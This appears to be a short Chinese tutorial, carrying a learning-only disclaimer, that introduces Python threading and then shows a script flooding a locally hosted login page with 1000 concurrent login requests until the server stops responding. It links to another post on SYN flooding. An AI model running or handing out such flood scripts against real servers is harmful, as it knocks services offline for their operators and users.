| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。
多线程入门
# 多线程模块导入
import threading
# 创建一个线程对象,进行func任务(往往都是函数)
t = threading.Thread(target=func, args=()) # 如果func有参数,则用args传参
t.start() # 线程开始执行任务
开始实验
接下去就开始多线程泛洪,可以说是非常简单
import requests, threading
# 在本地搭建的一个服务器
url = 'http://localhost:8081/note/userLoginIn'
data = {
'actionName': 'login', 'uname': 'admin', 'upwd': 'admin'}
# 执行登录操作
def login():
# 利用session维持会话
s = requests.session()
if s.post(url=url, data=data, allow_redirects=True):
print("登录成功")
else:
print("登录失败")
if __name__ == '__main__':
# 简单设置1000个线程
for i in range(1000):
t = threading.Thread(target=login)
t.start()
差不多到200个线程的时候就开始爆红了,浏览器也无法访问了
可以说是非常简单,这里我还只是执行了登录操作(主要是服务器太烂),多执行几个操作更完蛋
高级的泛洪还得看Alplexchur师傅的SYN泛洪,原理比我这复杂多了:https://blog.csdn.net/qq_27493871/article/details/126793409?spm=1001.2014.3001.5502